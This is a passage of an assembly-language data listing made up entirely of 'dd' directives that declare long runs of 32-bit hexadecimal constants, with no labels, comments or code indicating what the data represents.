		dd 9FD3B864h, 52003509h, 0C4839062h, 307E377h, 0E0027E06h
		dd 2E00B3E6h, 0BF96F938h, 80CDB0h, 1D547655h, 0F4E63AAEh
		dd 0B6CAA500h, 312C6E4Eh, 0A38074Ch, 72C4DBh, 4A4D513h
		dd 37561918h, 961B8C18h, 0FF51754h, 4100E8F8h, 0DF564FE5h
		dd 8006753Bh, 0B81F28A8h, 1C096178h, 407D9E11h,	5F731E97h
		dd 0DA0041E8h, 4A7BAE88h, 59BD54h, 0DB38DD3Bh, 27182181h
		dd 0E6E5D21Ch, 0CF8731DFh, 42D04E5Ch, 0DDEE66h,	0CA2F279h
		dd 1C2AD1A4h, 6FEB7D00h, 6126D983h, 0D41100CDh,	0B4AB6522h
		dd 717502F5h, 80EC5B38h, 0AD7F9C28h, 151D4015h,	0BCAF43D2h
		dd 30002A3Dh, 0E395AAA4h, 0A20028BDh, 90DD9962h, 5D18E2h
		dd 73575F3Dh, 9CFBF8C8h, 8A827100h, 0EFF9D89h, 7F78009Bh
		dd 0F9F11D8Eh, 4201F0CFh, 0D2B551CCh, 90387765h, 1A9AEC00h
		dd 6C93DBDCh, 0DE3AFC0Fh, 0AB96C0CAh, 489E0BC6h, 71C00055h
		dd 7E63364Ah, 8F887B03h, 9880D245h, 272B5Fh, 9FBC0B5h
		dd 73377140h, 0C400C896h, 0DE14693h, 85AE0E3Ah,	0E0066D1h
		dd 0D552D0F6h, 7497FC00h, 631437Bh, 24CE003Eh, 0E1C50B7Fh
		dd 4701FFE4h, 0C19EC678h, 0EDC0F6F4h, 18376009h, 3F44FEC0h
		dd 82F86B00h, 0F193E1D1h, 0E4030022h, 8DC58120h, 5D7AAB7Fh
		dd 0DC2F3302h, 80A69557h, 511F4CCAh, 0C0940096h, 4DD9E38Dh
		dd 0DEFE98FDh, 54F10C00h, 31447578h, 901D0043h,	0F6480D2Bh
		dd 9E2CEB0Ah, 803E7786h, 7D72B182h, 0B4D7B02Fh,	0C59B007Ch
		dd 3E8BC1B8h, 0B22BB300h, 568994E6h, 7E11CA8h, 9921CF5Eh
		dd 6395007Fh, 9C24576Ah, 0A7666E02h, 4202D93Ah,	0E85740E7h
		dd 0AF5200C2h, 0C699A6D0h, 210FEC7Ah, 0A0D31963h, 9FC0D917h
		dd 755C161Fh, 0B2688035h, 2300E2A9h, 7ECC9A8Eh,	3C010F07h
		dd 0D007146Dh, 257604C2h, 0E039C06Ch, 1A660AD9h, 1E318611h
		dd 0C2F3FF1Dh, 0E6D9D385h, 8425A6C0h, 0A761CE67h, 0CD04E8D0h
		dd 8A41DB8h, 49A00055h,	7B9ED88h, 0A77CE573h, 286A940Bh
		dd 5886083h, 661901BCh,	4D61AEBBh, 0EED0D3ABh, 220E2CB7h
		dd 6AADCB6Ah, 56001829h, 32ED2076h, 78186F0Ch, 0B3455280h
		dd 9A5803AEh, 82970F6Ch, 40B5AF86h, 96B73DCEh, 558918CFh
		dd 4D50606Ah, 0E018A1EAh, 4458B1E9h, 0F94A44Ah,	0CC97C073h
		dd 0E0892787h, 6AE9D94Eh, 0DE5A7900h, 0F0321EB1h, 14440052h
		dd 0CEAFDCC1h, 8D00EB48h, 2B5B1CB5h, 0E646C222h, 777ACBh
		dd 0F2166B4Fh, 4856145Ah, 0A919AA03h, 0E0534D81h, 0EEE8898h
		dd 0D44F23Bh, 0F0782183h, 55255B90h, 84C04C00h,	7128B54h
		dd 8EA900FDh, 0F6BB2086h, 617D0D34h, 0CD52BD00h, 492AC743h
		dd 21F93EB4h, 1F655C00h, 2516E73Ch, 6E29F51Eh, 3FD5CD83h
		dd 717CE017h, 1A121C09h, 63084757h, 0FD549015h,	50031733h
		dd 105BA39Ch, 0B7EC908Ah, 90CF5467h, 34F0782h, 0F14870CDh
		dd 0BA59A184h, 0B2F4D008h, 257E800h, 4C929BB6h,	0C2E1009Ch
		dd 75098ABCh, 3700A998h, 8042622h, 6344BBh, 8B3E8525h
		dd 405113DFh, 0E041D1E1h, 0FA007C4Dh, 727FBF30h, 0C6806E5Dh
		dd 20144B08h, 70842D26h, 0B7A9073Eh, 4AD19675h,	38E8C063h
		dd 49F8037Fh, 5B37DDDEh, 12EDC1EFh, 0C8344B41h,	133AC34Ch
		dd 0ABE080FCh, 0B9013B98h, 6D41A845h, 63D9352Ah, 1C658B9h
		dd 0BFEAFB72h, 20B718Fh, 0B8FB777Bh, 431C40F7h,	3619C051h
		dd 4595612Dh, 32090600h, 87A51B23h, 0AF1A012Bh,	72E0AD77h
		dd 4613CCCCh, 0E4566D14h, 0D3C016A4h, 12198B00h, 5AFFC4h
		dd 0BA2EC33Bh, 0E24125F1h, 780B2D7Fh, 80AB05CAh, 0ECF564E9h
		dd 0D15000CBh, 0B040A63h, 4B01A13Bh, 3823EFE3h,	9C707543h
		dd 22762Dh, 0FF56A43Ch,	90BE2B94h, 12F20F70h, 5AAA7600h
		dd 0E3D13D93h, 4A040013h, 580560A6h, 3807B940h,	846274EBh
		dd 0ED0CF090h, 83BC16D2h, 0E50EFB76h, 0C8487B3Ch, 0C117EB4h
		dd 0E62D1AAh, 4A03F891h, 0ACDFB1A2h, 0AE73B98Ch, 0E83FE4h
		dd 9E5C6CF7h, 94DDE178h, 9D453000h, 4809D1CEh, 0B0300FAh
		dd 0D8F3EA13h, 9F07F0A4h, 0F77104E9h, 0D2FF4011h, 0BF5CD8h
		dd 0AC544432h, 133B0AF8h, 0B7645300h, 1A09F0FDh, 0D9910752h
		dd 0C0BEC6EAh, 0C376EC54h, 0F9CD4700h, 0F0FE5D87h, 71426071h
		dd 0ED1790BCh, 0E4B1D0C0h, 0C00166F6h, 0AB4B93C8h, 28DEC462h
		dd 84FB0600h, 7B01BE69h, 320A0081h, 0DDAC5B1Fh,	2218896Ch
		dd 83508EDEh, 29F083CEh, 0E050F9DAh, 5700F29Fh,	0B7DC4BDEh
		dd 5851C262h, 2D007ADFh, 26BBB0EBh, 6601AE2Fh, 5A170C44h
		dd 18204A9Fh, 52C43E31h, 1BD68E0Fh, 56373480h, 55006CD2h
		dd 0B7FC61E9h, 6CA7669h, 0EEF82B0Eh, 3C0028CFh,	7FE21013h
		dd 1E590AB9h, 11BBE1h, 0BC0C0775h, 0EC07EF9Fh, 0ED084774h
		dd 321DD46h, 840BFF88h,	52F0F9B0h, 18C3BC1Fh, 0CD63205Eh
		dd 91B50AC1h, 357CE60h,	0E954922Ah, 4001D5E0h, 4901C8CCh
		dd 1080D474h, 0B4853002h, 6707B3F2h, 686361CDh,	0D60843h
		dd 84B23420h, 0FEBE9A13h, 15722100h, 5F281022h,	5A1C0065h
		dd 0E3254D2Ah, 0CD00F373h, 873BCC6Bh, 0CBC7A33h, 6C768810h
		dd 7B069928h, 57176424h, 0D72A00C0h, 0FEB77D80h, 0CC017946h
		dd 4C307F09h, 0C6C48E51h, 0D4D0CE1Ch, 27EAFE40h, 0DE1E850Bh
		dd 0A980A4E8h, 155C068h, 35ED0037h, 0F6C48369h,	883B0BD3h
		dd 0B27500B6h, 0D1E8EA14h, 0F8A2006Ah, 3230ABB0h, 17A72FFh
		dd 0AE8D8F0Bh, 537087F0h, 4B202400h, 0D9DE00C6h, 840A332Fh
		dd 8E00F3B1h, 276A32B9h, 2ACB3h, 0B857389Fh, 86018720h
		dd 0A09EC1Fh, 0F3207D98h, 294B764Ah, 0C220077Fh, 90333B2Bh
		dd 33A5438Eh, 1830AE70h, 203B08FEh, 602800F2h, 0D9CCCB3Bh
		dd 706B0090h, 8F6C1504h, 7A00AF20h, 0B59DDDC6h,	29C94Ch
		dd 0AC023C5Fh, 0AF23B780h, 884048C7h, 0F19D805Fh, 63A19A96h
		dd 0AD3208F9h, 0B7E32000h, 0DBB427AFh, 0D2870052h, 52ED7C9h
		dd 0F906F208h, 23CBADF6h, 1CF30070h, 0D54A14E2h, 0CD142F01h
		dd 2498FFE9h, 0D20C3A30h, 0E46E2924h, 0A18601E7h, 1C6F58EFh
		dd 0E008BFDFh, 0E7D4E421h, 0DA0F0082h, 0FDA61BEEh, 0E6307A2Ah
		dd 0C120B917h, 2DEB1F32h, 8F00FC01h, 0C410EEA9h, 62026482h
		dd 1B44B01Fh, 8EBC8630h, 3A7A46F8h, 0BA7288AAh,	4048C481h
		dd 0EAF89DDh, 0EA011CF5h, 6A2C0A56h, 4992ACh, 41647A5Bh
		dd 5758C952h, 90C60004h, 44AF1F61h, 492C61A8h, 0C05D36BBh
		dd 2492583Dh, 4BEF5618h
		dd 1C51BE9h, 0E16A74Ah,	81924319h, 338F5518h, 0E8BCDE14h
		dd 0C9E99300h, 3D75F588h, 5B5EB819h, 2181C508h,	0ECC9E230h
		dd 91F0D0DBh, 218A4218h, 661A17E9h, 9CBB96Dh, 0C30B72F8h
		dd 80ACE912h, 50B10244h, 10964997h, 0CEBC7C10h,	0B978A284h
		dd 949C91h, 31AF83DFh, 17A5CE27h, 1480770Bh, 5B58B8h, 692ADA34h
		dd 0E7FF0741h, 73CAA605h, 342E2404h, 0F41C2C23h, 89B95E00h
		dd 241BFE70h, 9888CFC4h, 1E204919h, 1F29003h, 0F8A9F5A1h
		dd 44EAA734h, 84072017h, 0B6E7B05Dh, 1E52E0EEh,	7CEB7A4Ah
		dd 28650292h, 1D1F52Ah,	2F915095h, 71B1809Dh, 0B51AE220h
		dd 0FF9D71C0h, 7969BE36h, 93DA00E0h, 350BBCE7h,	63A7B6Fh
		dd 17CA075Eh, 6E8727B0h, 0D4404555h, 0CD810729h, 68ED1FC5h
		dd 0E47D8069h, 4705F1ADh, 3A7BD704h, 0AC987F20h, 7CE70809h
		dd 7DC4DFA1h, 0E72C4E40h, 0AE583690h, 8B9B39A7h, 0DFB1A82Dh
		dd 0F2495A00h, 2326697Eh, 0E00388Ah, 0DD036511h, 2B77E8Bh
		dd 6B2F0477h, 8CA322C4h, 2D98C75Fh, 8D07A71Ah, 49D7336Dh
		dd 5710FB70h, 6431498Fh, 7E4FC19Fh, 0C3EE5F5h, 0EB9E88BFh
		dd 0E70AC97Bh, 0A0266861h, 0C2EE9C83h, 2C710938h, 78807D79h
		dd 3027531Eh, 0A2052F02h, 4C2EACFDh, 797E75F0h,	286148E6h
		dd 0AF7DE1E0h, 0A8529500h, 9337753Ch, 4CB248EEh, 8C49E8h
		dd 1348050Ch, 1EA2EABAh, 2C179E04h, 0BC919B92h,	0C0002177h
		dd 0DEFC306Ch, 540049F0h, 26F8608Ah, 5825E028h,	680044D6h
		dd 0F68B64EBh, 2B0C2D37h, 4174D588h, 0A6930494h, 8031665Ah
		dd 5132155Ah, 80DBD73Fh, 9792103Ah, 0C54742Ah, 90EA9B94h
		dd 14914C39h, 86217478h, 1F129E00h, 5ED73F0h, 0BB11045Eh
		dd 97693917h, 50629050h, 5A2D531Ch, 8A7E8FB4h, 0E640347Ch
		dd 43A437E7h, 0EB9C9FF7h, 84DDEF80h, 0E0270B2Eh, 31D1002Fh
		dd 3C3E9E07h, 0BC493973h, 0A4D62910h, 0BD168301h, 1EF88DB8h
		dd 0E8A5E075h, 0F3C0097h, 6409706Ch, 39C1F4A6h,	0CA0A2673h
		dd 71A2824h, 379D63F9h,	0B01E5203h, 0B6D10C81h,	52EC5094h
		dd 0FE244E69h, 2C60C837h, 83679Dh, 0B78C40F8h, 7BA9D563h
		dd 2003C473h, 0B10E8211h, 22E0D97Fh, 30EEBC49h,	8539E704h
		dd 7822C6A1h, 0C8DB513Eh, 507008Bh, 9CA03420h, 8F4000DCh
		dd 16D6681Eh, 0D9C0BB1Bh, 0E445BA5Eh, 98DE90F6h, 68DE12D9h
		dd 2DB820ACh, 703821Ch,	0AA1DFF33h, 7E9023B2h, 51E7D000h
		dd 0A55907A4h, 0F85D80D0h, 9144E5E7h, 0C80F1E01h, 5E5BF769h
		dd 26EAA1E8h, 26F0F661h, 793F0ABCh, 1C0A00A8h, 44DF3B4Bh
		dd 0EB006C7Ah, 0F82897C7h, 0F2A29C9Bh, 0C83E1DBDh, 7A02802Ch
		dd 6119DC85h, 80D98C3Fh, 724108Bh, 7FA527h, 5B6DBB6Eh
		dd 4C7C4B60h, 0F10077F8h, 587804DDh, 382AE686h,	0AC00282Fh
		dd 0E31E4359h, 7004D96h, 0B93BF8E4h, 36F655h, 0A58E9A7Bh
		dd 0E8F36C6Bh, 0AA03C7F2h, 5207610Ch, 92E6E991h, 72205AECh
		dd 56E00286h, 9C90C103h, 9B728BC0h, 81FDF30Ch, 13A9C0BAh
		dd 1E1714Fh, 39448BCEh,	6A2DFC30h, 9183F800h, 0DC067C6h
		dd 0BC160015h, 0ED377A36h, 0BA007496h, 0A3FF7BC7h, 0CDDCE2h
		dd 58128AABh, 0A91C401Bh, 20FA5C00h, 3C3AE4B0h,	25A703D5h
		dd 0EF924E2Bh, 5C19411Fh, 0E4818200h, 0BD10760h, 64E2F785h
		dd 0C65F1E00h, 0D3394A7Dh, 9AB40C68h, 7502A3h, 0BCF24553h
		dd 0AB1E8BDBh, 0EEC8631Eh, 2780D47Bh, 0C45A4100h, 8338198h
		dd 2A4CE0BBh, 1FA03225h, 0C96BA09Bh, 408589F8h,	0AB8000D2h
		dd 32343988h, 0F96DEE0Ah, 0E480E033h, 9219B69Ah, 8EB13B48h
		dd 95518260h, 3E39BF05h, 8B5B8168h, 0D35A98BDh,	1B13530h
		dd 5F87075Ch, 0F031FA1Ah, 0F6053E1Bh, 0EEF16291h, 0C880801Eh
		dd 0CE12897Eh, 9474B5h,	0DA19E528h, 0A176D47h, 33E46201h
		dd 58EEBADFh, 0C8AB4080h, 2E11A60Eh, 0BEE70118h, 0E0144080h
		dd 4AD317FFh, 7784D7h, 93EEC9A0h, 0C03E1BF8h, 1406020Fh
		dd 0A0F77179h, 0D35BC4C0h, 1916001Ch, 3F5D0577h, 237E7275h
		dd 0E48A7E00h, 0CFF6D228h, 2E48A1h, 33803D3Eh, 0FF7289CCh
		dd 20E39449h, 0A8760AF0h, 4B005D76h, 27BA241Fh,	8B84F9h
		dd 7BB99740h, 65BC53DCh, 0CA700F03h, 0F75219h, 0B64D9AC0h
		dd 0FAD0E14Fh, 0D48DBB3Dh, 2700D280h, 645A0EB3h, 0B3DA8F55h
		dd 4F3C00C0h, 3BEDF57Fh, 9D924486h, 0A4CA3403h,	0B045FD73h
		dd 2847FC5h, 1B11DFBBh,	0E8C5553Ah, 736092E4h, 1901090Eh
		dd 0F90BF32h, 63DD92FAh, 1AE19C89h, 384FC090h, 350AD202h
		dd 0C31C7B37h, 440819EDh, 60F220DAh, 0AA000461h, 8F35011Dh
		dd 6181EEh, 90FEF021h, 2023FF40h, 12761C02h, 508C8AC4h
		dd 739F00C8h, 0D1E7B731h, 0C1C01167h, 3962EA38h, 106A0002h
		dd 698B1DA4h, 0AE01061Fh, 32A7083Ch, 6AC03F93h,	3B8C7A8Fh
		dd 2053E203h, 0F8897687h, 43D52D60h, 0A0F90B21h, 28A015C3h
		dd 8F4946A9h, 6A7B1100h, 1B411C4Eh, 98880EBEh, 88D434DAh
		dd 0F1CF85C0h, 70217F35h, 7D47111Dh, 0D1D20400h, 0AA4E81DEh
		dd 82170293h, 2DD58D91h, 1E1F068h, 53009873h, 5B274463h
		dd 0A9B0EAh, 0A03AF49Fh, 5C877E9Ah, 0ED524100h,	6D073BB4h
		dd 853100D2h, 5D3CF3AEh, 0D50097EFh, 29944253h,	19F668h
		dd 89E15C0Ah, 0F3654913h, 782DFF00h, 0F2C55B32h, 667E00DAh
		dd 7176CC59h, 0CD00F3E0h, 0A25EE1FCh, 6AC16EB3h, 4524A091h
		dd 0EE042EF3h, 42ABC313h, 390A9820h, 41850E0h, 6374805h
		dd 21C0774Dh, 3DFC469h,	97D5D799h, 291151CEh, 0CD114798h
		dd 7B1311E7h, 21532411h, 3B2088Ch, 948D2788h, 0C021280Ch
		dd 88FD6208h, 6E888C3Bh, 88F4904Bh, 40F456Fh, 4E483A3Ch
		dd 0C411D1C8h, 9883119Bh, 11621711h, 0DD084CFCh, 57142B8Ch
		dd 9C510878h, 3DB008F8h, 0FAF64400h, 1F14071Dh,	40BB4B5Eh
		dd 110F94DCh, 0BF009D7Ah, 3293DD65h, 1AD3C85h, 61C0A099h
		dd 0E0D9CC18h, 0ECE2A4A5h, 574F1700h, 126407B8h, 5CE0005Eh
		dd 79DE1A42h, 1003F90h,	466BB33Dh, 7EA60E9h, 0E1D61BA9h
		dd 2ECBC16Ch, 0C4B1D0BFh, 0CFBA8800h, 0F8A075BBh, 6D50EE5h
		dd 5261C33Bh, 0C4C92EF6h, 6300A42Ah, 0E46F24A5h, 4C932CA8h
		dd 0F400CAB9h, 0BB1370ECh, 8714AF36h, 58BB1967h, 0FF1D7CDBh
		dd 0E6400915h, 0B4BA3F46h, 76300098h, 830451BBh, 670EB1A6h
		dd 0CB8C27h, 0A27B1EAEh, 0A96300C9h, 18E53701h,	0FB3973DFh
		dd 5F130092h, 0AB57A48Eh, 2B32014Fh, 0FFB9175Dh, 0DC6BE652h
		dd 0C83D6A98h, 69A80100h, 858FA48h, 0B2780766h,	0CE647DACh
		dd 0FF47C760h, 0BD00406Ah, 702CD3D6h, 2502A6h, 0AAC19E30h
		dd 0A28411F7h, 0DB2BE506h, 2EFB34h, 0C16BE259h,	722417F6h
		dd 0E710C91Eh, 89D07C00h, 14C2D6C4h, 0D4B79E6Eh, 0E2174860h
		dd 0E3E0ED4Dh, 0D5C7100h, 93969A0Eh, 1238F015h,	1E9C67C9h
		dd 0DB9B00A8h, 0F10FC5C4h, 91FC3Ah, 56ED187h, 408064h
		dd 6A673099h, 0B9F1E43Bh, 8BB0E100h, 751211F6h,	0B4780102h
		dd 6A15C17Eh, 0DCFDE45Dh, 3E662B00h, 0D3AA0565h, 49DFAFh
		dd 20FF6E83h, 7003DB60h, 5B9C295Ah, 3B1FB891h, 39340036h
		dd 64A2B244h, 0FAE2F8F2h, 61FD2D17h, 0A0275E00h, 3D1EAFh
		dd 81A99767h, 0F4963842h, 80EAEF39h, 0B2169BDFh, 0F73B14h
		dd 0B0CDED1Eh, 646D5D31h, 0A7D7CA00h, 0FB9602CEh, 936900B5h
		dd 88A5725Ch
		dd 2400BC6Ah, 0C9AF3B1Dh, 7280736h, 345256ECh, 4349A070h
		dd 4A074DCFh, 2A47DE99h, 0F96C8A80h, 67CB0032h,	424FB44Ch
		dd 2B0023C8h, 81722845h, 4B37A4h, 5A30F81Bh, 7B4A04B8h
		dd 0F757B700h, 97C8E92Ch, 0A1C00569h, 0C0DBE4BFh, 0A0137D0Dh
		dd 6EB1601h, 128CC333h,	36FC20h, 151CF025h, 925AFA3Ah
		dd 2B6BB918h, 0EF9610h,	2EAFE437h, 0A718E023h, 943F9100h
		dd 0CC6BA632h, 24B3001Fh, 39FF8ADDh, 0EF00F548h, 30671E79h
		dd 0FC5BFA57h, 7CEA0019h, 58D040A4h, 86016EB9h,	67F41DE7h
		dd 5DEC32BCh, 35810FA3h, 3EA0D69Fh, 9D06DDC0h, 42B63600h
		dd 765C2915h, 102201E0h, 71F8F95Ah, 0B60CD897h,	0D82D9C00h
		dd 0BB34138h, 3D690FAh,	8785511h, 0E90A604h, 1D17D1E1h
		dd 56007958h, 0C9A44183h, 29AE001Bh, 57F34B94h,	0F42802E8h
		dd 54909C0Ch, 0A99F000h, 0DF2D4AFEh, 0A97920h, 0CAB66677h
		dd 8E295043h, 448B400h,	0BDDFEED8h, 9B90032h, 24E49621h
		dd 6A00C77Fh, 4CE28F6Ch, 12A5EADh, 28185CC9h, 0C49ACCD8h
		dd 353D6AA2h, 0FDBEFCh,	5A5F29D4h, 3BB18D54h, 0E9820D3Ch
		dd 0BEC169B7h, 8A06AC60h, 0CB7BFC01h, 9D71CED2h, 7341E0h
		dd 58EF9CBCh, 0EEFFB263h, 311C290Eh, 7600DF35h,	0BBDE833Dh
		dd 8C93001Ah, 0CE068596h, 0F43B5E48h, 0E090806Ah, 41594A68h
		dd 0BD2D07CDh, 700F27DDh, 0ABADB26Fh, 3777C900h, 55FEF89h
		dd 82FC0ED9h, 0DA006AC1h, 0F4E62975h, 0B7044D00h, 317D5060h
		dd 0B4A1D8Dh, 0B9DA002Fh, 0E1824EF8h, 3CF04703h, 986F129Fh
		dd 32FC1Fh, 0CEF14668h,	5CEFE0FEh, 0A000EEE6h, 25D1951Ah
		dd 5F77F9h, 8A6BC7BCh, 74AF7A34h, 0F8DBB000h, 63B7E59Bh
		dd 5BB08Ch, 0A3785BA1h,	4989EE7h, 0DFFA5D00h, 0ED2CC134h
		dd 3421E70h, 30DD00D4h,	94F60251h, 4F396700h, 89AB2A8Bh
		dd 0AC7007h, 9543E33Bh,	242F328h, 29F88300h, 6D98D209h
		dd 9E680004h, 18075733h, 8700D123h, 3C75667Ah, 2814D589h
		dd 0E4C860F3h, 0A2F20039h, 74A4F8B2h, 0D8005642h, 51FD35E9h
		dd 68CA5Fh, 126B777h, 82ED0D2Ch, 4E0021ECh, 5A464A2Dh
		dd 762B8BB9h, 1D810005h, 9ECB6BBDh, 0F8071E68h,	0ECED44CEh
		dd 6042B402h, 1EE6A4E2h, 2E4C41h, 0E9DC18D3h, 50B547FFh
		dd 0A860B5Ch, 89003BCBh, 9692AF93h, 0B7ECA500h,	67B3F987h
		dd 1CD70004h, 224B78BDh, 941C3A4Dh, 0C600DDD3h,	0F8F52CCh
		dd 2C661C74h, 673F406Ch, 0C7BFABF0h, 0B4792300h, 5021F332h
		dd 3E960381h, 0CAC056CCh, 956D4788h, 540B3D00h,	0AEA7C425h
		dd 0BE1800D5h, 601C7BABh, 430F76DAh, 4072346Bh,	269424F6h
		dd 0E8200AC0h, 0FC79AF7h, 74001AE9h, 0C2A3B69Dh, 51CC3D00h
		dd 0A90FA5E2h, 0E177BB2h, 6AD22624h, 35EEE160h,	3D007999h
		dd 0A80A1EBFh, 0CA5641h, 0A559CBF5h, 127D239Eh,	0AF6F0400h
		dd 0FB654AEEh, 31D90510h, 80927C18h, 1BD66ED9h,	3DA5CB0Dh
		dd 7745DCE1h, 0DCF2F680h, 314C00EBh, 0BBCBBAE4h, 2200E3F5h
		dd 0A733F8F0h, 729516Ch, 0ED0E6B75h, 79F3E02Fh,	0F5303BB8h
		dd 0BBA9111Dh, 389558DCh, 69C25000h, 2019C36Dh,	5DC19B00h
		dd 0DB92901Ch, 0AF98004Ch, 0CBCA3FC7h, 3031183h, 7EFE1344h
		dd 0E45EC83Ch, 0EB9A004Dh, 6E02372Dh, 15004CEFh, 0CC074AD8h
		dd 0E5624DFh, 20CD75A5h, 25E0005Eh, 0DDB182A9h,	7A2DDB00h
		dd 0EAEECFBCh, 0BE850021h, 80BDD099h, 780FCEB8h, 24E5D42h
		dd 406B8D37h, 136A008h,	82243862h, 0E8C40EA1h, 0D4F11019h
		dd 3300F730h, 0EBF042AEh, 7B1AC96h, 23F4B46h, 0ECC2E0ADh
		dd 580015BFh, 939B46Ch,	792D7A5Fh, 0BB1A0FE8h, 71CFAA1Bh
		dd 420701E0h, 0BA07689Bh, 0BA623C4h, 863CF470h,	6AF80018h
		dd 93D81BFAh, 0D13E7AB3h, 0E866039Ah, 0AB9B7F31h, 0CB6AF80Fh
		dd 1887094h, 1AD901C7h,	0E8DDFA47h, 41003D61h, 9A84A7DAh
		dd 3AF7358Bh, 13FB7E3Eh, 7324D2Ah, 63C30AC2h, 0FCF06D73h
		dd 0C8F544ECh, 8B00EAC8h, 5E020372h, 0C77E7h, 0F9368EC3h
		dd 0C2449C83h, 0E4C6EF00h, 54DED8FDh, 1897B1Eh,	0B2FB3995h
		dd 0E0560B06h, 0FA1DA52Dh, 82FCF2CFh, 15581AEDh, 0DAFB60F7h
		dd 0F6A6EA39h, 0B391000Ch, 9F0F4E2Ah, 84004744h, 0D05EE78Fh
		dd 350F3C1h, 953D5105h,	2090D68Bh, 5300C610h, 0FE5207AFh
		dd 339E44Fh, 738D5B3Ch,	8BD0D838h, 5F0082E0h, 0C18FBF03h
		dd 72762B53h, 7E1E0031h, 0C561B65Ch, 9C01EA95h,	0C3B46A26h
		dd 40EA0A33h, 380B4340h, 0FC97BED8h, 0D6F00C4h,	0F7D1AB5Bh
		dd 0CD2EC338h, 0CE8A0198h, 99E41F37h, 3C8CB3C8h, 0A0010D61h
		dd 70CCE964h, 70D8C11Dh, 4090C83Dh, 7E76C9h, 0D34DF2A4h
		dd 131777Ch, 0B6B957C6h, 30544A17h, 0DE00F571h,	12DBB85Fh
		dd 746A4D51h, 0A1370003h, 0E83424A8h, 6D00D8D7h, 0B0305E82h
		dd 6C6B59h, 0A044CF3Dh,	788EB981h, 0B4F3391Dh, 7FE7E640h
		dd 11AF54h, 0E0EC0A3Bh,	7DDC7C09h, 36739800h, 0BE708CE1h
		dd 6EC100F9h, 0AFD5CB20h, 9AEC4557h, 281C3Eh, 2547F414h
		dd 7E7C7443h, 92BA00B7h, 0DE016039h, 60E7129h, 20F74F55h
		dd 2F3C3387h, 0B7FD00CCh, 0D4D8CAFEh, 600534Ch,	0D12C3114h
		dd 0E8C27E99h, 2F5907E9h, 0F0FE04D5h, 0C8FC0A7Bh, 7A54148h
		dd 13E05A5Bh, 0BE8DB4A0h, 0BC43AB8h, 69D800F6h,	0DF450E71h
		dd 0AC024D36h, 7A086347h, 0D1CC803Dh, 5E788Ch, 7D77FAAAh
		dd 0FC17EA0h, 21B9A709h, 0AC358799h, 0C6C05167h, 11E0915h
		dd 221A326Ah, 0F0C8624Ah, 0ED00C2BEh, 1B4478Ah,	10A7340h
		dd 5BEA148Ch, 43F0F93Dh, 20B822D5h, 0C7008AABh,	2EAA5D3Bh
		dd 0BDA188h, 0A774BC4Fh, 25C5F703h, 6B3AB672h, 1C9A6067h
		dd 0E4339A89h, 2257000Eh, 49D1CFABh, 0F0ABFEFh,	38D33015h
		dd 0F539E840h, 38337CF2h, 6E8EE005h, 8B003218h,	48CB40AAh
		dd 0BDEA4A00h, 90FD0B0h, 55D200C2h, 9EAD0B1Ch, 0F200BA54h
		dd 0ECCF366Dh, 0D962C0h, 3704680Dh, 0DA4B1FA8h,	436FCD09h
		dd 0DDC580EBh, 7ABD0F03h, 90CC3C0Eh, 57927680h,	5CD21AC5h
		dd 47000298h, 0B172365Eh, 60C083h, 5F9C4BA4h, 0A25DCC42h
		dd 1E7F713Ah, 4953A3F2h, 0C4CF4301h, 86F8D8E6h,	0DA9C013Ch
		dd 6796D928h, 2FED4E5h,	8014B03Dh, 0A55C25EDh, 0F38F4h
		dd 342B6946h, 5E98A3CCh, 30F194F4h, 0FB007E54h,	0EB2AAD70h
		dd 771C6106h, 9BC73BD4h, 0B92000FAh, 0D3374CC3h, 1700D6CDh
		dd 3F30D840h, 269A9654h, 220E38h, 32412EFh, 630E1BE9h
		dd 4EC5DF32h, 9AF86013h, 4D44E23h, 1F7A3573h, 0F51C13Eh
		dd 16C7F4ABh, 0EDE8FB0Bh, 0B3F800B1h, 0E94E17h,	0EF7F538Eh
		dd 0DE5B0BE4h, 14598009h, 9F050025h, 5835C5h, 1FA91B39h
		dd 89AE8F5Bh, 0DD3D1700h, 0A8D56F87h, 0E6E800D4h, 0C5B7C9EAh
		dd 8500F59Eh, 8DAF310h,	24ED3C01h, 1EFD5Ch, 0D573386Ch
		dd 0B70092B4h, 0DBA76828h, 1A44BCh, 62AF053Ch, 0AE362C06h
		dd 0D4588707h, 3EA0A789h, 0FCFB13Dh, 1E6D5078h,	0EB7A34C0h
		dd 7614C5C9h, 0D75593h,	850579BDh, 50D34671h, 5F9189h
		dd 360D328Eh, 0B6BFDFFAh, 2ACBDE00h, 9B784D5Eh,	0A203000Bh
		dd 277DB37h, 8C031114h,	89E33F13h, 0F87EE360h, 10F5FB0h
		dd 0ACF17031h, 72B2719Eh, 88420064h, 0A70CB34Dh, 0E6157D76h
		dd 61460105h, 6520922h,	5D60C0E8h, 426E2000h, 0EA8302B1h
		dd 887B002Fh, 97C2CEC9h
		dd 7C2EEE5Ch, 0F500A54Eh, 80CD4FFBh, 810D07EDh,	0FFC379A0h
		dd 0BB266CC3h, 34FCC1CCh, 0B8DF6063h, 24053A00h, 4A99B79Fh
		dd 0E3AC0084h, 82F39C3Dh, 5CE8408Fh, 39F65F00h,	87678A0Bh
		dd 7B5749Dh, 506275BAh,	0ED730017h, 0B33C4623h,	5148808Eh
		dd 8B1A1634h, 0AAB8279Ah, 0A901CA70h, 1F718F89h, 0ACD40AABh
		dd 88581D7Eh, 5C8DC09Dh, 0AEC52906h, 6C87B703h,	0F8026EDAh
		dd 0A04AD517h, 0B9939CD8h, 86A90368h, 37899557h, 0E9DCD905h
		dd 0A37420DBh, 6D1AC700h, 42F3D623h, 76F01E20h,	4A79C0BAh
		dd 44749E11h, 0D6CBDC07h, 5380CA16h, 0CEB3F6h, 601FB19Ch
		dd 0E27FD109h, 0CA64EF00h, 0DF206D8Dh, 0B8910088h, 99D34EFEh
		dd 16026AE1h, 929FFA37h, 0E235405Fh, 677001Bh, 10465E08h
		dd 64FA0E30h, 0A9488200h, 4C76E196h, 26F30342h,	0D19B5ECFh
		dd 0B73F12F8h, 0A700DD7Eh, 5951DF5Ah, 68BF78h, 0F8F9AF85h
		dd 0FB7D932Ah, 0D7F8664Fh, 0BC754707h, 0F33F20BEh, 5A0E89ABh
		dd 53A8C443h, 7981CB04h, 0E57F05BBh, 523C80BAh,	6F50381Dh
		dd 9498C4FCh, 754F207h,	56813714h, 92ED091Bh, 4D93AE0h
		dd 28F4525Eh, 710D03Dh,	0AA00F1B5h, 0E5B27546h,	2CF03AB0h
		dd 48D825h, 6322594Fh, 5F038526h, 0F13E7C11h, 75B2E8E8h
		dd 86C700D0h, 0AACAA47Ah, 5300DBBFh, 38082930h,	253C22h
